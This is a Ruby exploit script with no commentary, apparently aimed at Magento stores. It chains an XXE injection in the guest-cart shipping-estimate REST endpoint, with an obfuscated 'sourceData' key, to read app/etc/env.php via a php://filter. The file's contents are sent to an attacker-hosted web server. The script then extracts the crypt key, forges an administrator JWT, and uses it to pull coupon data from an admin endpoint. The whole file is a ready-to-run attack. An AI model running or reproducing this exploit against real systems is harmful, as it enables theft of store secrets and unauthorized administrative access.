#!/usr/bin/env ruby -W0 require 'bundler' Bundler.require(:default) DEBUG = false USE_PROXY = false PROXY_ADDR = '127.0.0.1' PROXY_PORT = 8080 def debug(msg) puts msg.inspect if DEBUG end def rand_text(length = 8) # random string generator o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten (0...length).map { o[rand(o.length)] }.join end def dtd_param_name @dtd_param_name ||= rand_text() end def ent_eval @ent_eval ||= rand_text() end def leak_param_name @leak_param_name ||= rand_text() end def remote_addr @remote_addr ||= "http://#{@srv_host.host}:#{@srv_host.port}" end def http @http ||= begin http = if USE_PROXY Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT) else Net::HTTP.new(@target_uri.host, @target_uri.port) end if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*}) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE end http.set_debug_output($stderr) if DEBUG http end end def make_xxe_dtd filter_path = 'php://filter/convert.base64-encode/resource=../app/etc/env.php' ent_file = rand_text() %( <!ENTITY % #{ent_file} SYSTEM "#{filter_path}"> <!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{remote_addr}/?#{leak_param_name}=%#{ent_file};'>"> ) end def xxe_xml_data() param_entity_name = rand_text() xml = "<?xml version='1.0' ?>" xml += "<!DOCTYPE #{rand_text()}" xml += '[' xml += " <!ELEMENT #{rand_text()} ANY >" xml += " <!ENTITY % #{param_entity_name} SYSTEM '#{remote_addr}/#{rand_text}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; " xml += ']' xml += "> <r>&#{ent_eval};</r>" xml end LIBXML_NOENT = 2 LIBXML_PARSEHUGE = 524288 def xxe_request() debug('Sending XXE request') signature = rand_text().capitalize post_data = { "address": { "#{signature}": rand_text(), "totalsCollector": { "collectorList": { "totalCollector": { "\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": { "data": xxe_xml_data(), "options": LIBXML_NOENT|LIBXML_PARSEHUGE } } } } } }.to_json req = Net::HTTP::Post.new('/rest/V1/guest-carts/1/estimate-shipping-methods') req.body = post_data req.content_type = 'application/json' # req.user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)' res = http.request(req) raise RuntimeError, "Server returned unexpected response" unless res&.code == '400' body = JSON.parse(res.body) raise RuntimeError, "Server returned unexpected response" unless body['parameters']['fieldName'] == signature end TARGET_USER_ID = 1 USER_TYPE_INTEGRATION = 1; USER_TYPE_ADMIN = 2; USER_TYPE_CUSTOMER = 3; USER_TYPE_GUEST = 4; def jwt_encode(key, algorithm = 'HS256') def pad_key(key, total_length, pad_char) left_padding = (total_length - key.length) / 2 right_padding = total_length - key.length - left_padding pad_char * left_padding + key + pad_char * right_padding end header = { kid: "1", alg: "HS256" } payload = { uid: TARGET_USER_ID, utypid: USER_TYPE_ADMIN, iat: Time.now.to_i, # Token issue time', exp: Time.now.to_i + 10 * 24 * 60 * 60, # Token expiration time } def base64_url_encode(str) Base64.urlsafe_encode64(str).tr('=', '') end padded_key = pad_key(key, 2048, '&') encoded_header = base64_url_encode(header.to_json) encoded_payload = base64_url_encode(payload.to_json) # Create the signature data = "#{encoded_header}.#{encoded_payload}" signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), padded_key, data) encoded_signature = base64_url_encode(signature) # Combine the header, payload, and signature to form the JWT "#{encoded_header}.#{encoded_payload}.#{encoded_signature}" end def exploit() begin puts "Starting web server..." body = make_xxe_dtd() file_content = nil file_content_reader, file_content_writer = IO.pipe WEBrick::HTTPRequest.const_set("MAX_URI_LENGTH", 10240) wbserver_options = { :BindAddress => '0.0.0.0', :Port => @srv_host.port, :Logger => WEBrick::Log.new($stderr, WEBrick::Log::DEBUG), :AccessLog => [], # :RequestTimeout => 300, # Increase request timeout # :RequestMaxUriLength => 100240 # Increase max URI length } wbserver_options[:Logger] = WEBrick::Log.new("/dev/null") unless DEBUG pid = Process.fork do file_content_reader.close server = WEBrick::HTTPServer.new(wbserver_options) server.mount_proc '/' do |req, res| if req.path =~ /\.dtd$/ res.body = body elsif req.query_string.match(/#{leak_param_name}=(.*)/) file_content = Base64.decode64(Regexp.last_match(1)) # puts "Received leaked file content:\n#{file_content}" file_content_writer.puts file_content else res.body = 'OK' end end trap("INT") do server.shutdown file_content_writer.close end server.start end sleep(1) xxe_request() file_content_writer.close begin # Set a timeout for reading from the pipe Timeout.timeout(5) do # 5 seconds timeout, adjust as necessary file_content = file_content_reader.read_nonblock(10000) # Adjust the size as necessary end rescue Timeout::Error puts "Reading from pipe timed out." rescue EOFError puts "End of file reached." ensure file_content_reader.close end # Use file_content as needed here if file_content # puts "Successfully read file content:\n#{file_content}" key = file_content.match(/'key' => '(.*)'/)[1] if key debug "Found key: #{key}" jwt = jwt_encode(key) puts "Generated JWT: #{jwt}" puts("Sending request with JWT to coupons endpoint") # Perform authenticated request to a admin endpoint res = http.request(Net::HTTP::Get.new('/rest/default/V1/coupons/search?searchCriteria=', {'Authorization' => "Bearer #{jwt}"})) raise RuntimeError, "Server returned unexpected response" unless res&.code == '200' puts "Available coupons:" puts JSON.pretty_generate(JSON.parse(res.body)) else puts "Failed to extract key from file content." end else puts "Failed to read file content or content is empty." end puts "Exploit completed" rescue RuntimeError => e puts "#{e.class} - #{e.message}" ensure if pid Process.kill("INT", pid) Process.wait(pid) end end end if __FILE__ == $0 @target_uri = URI.parse(ARGV[0]) @srv_host = URI.parse(ARGV[1]) exploit() end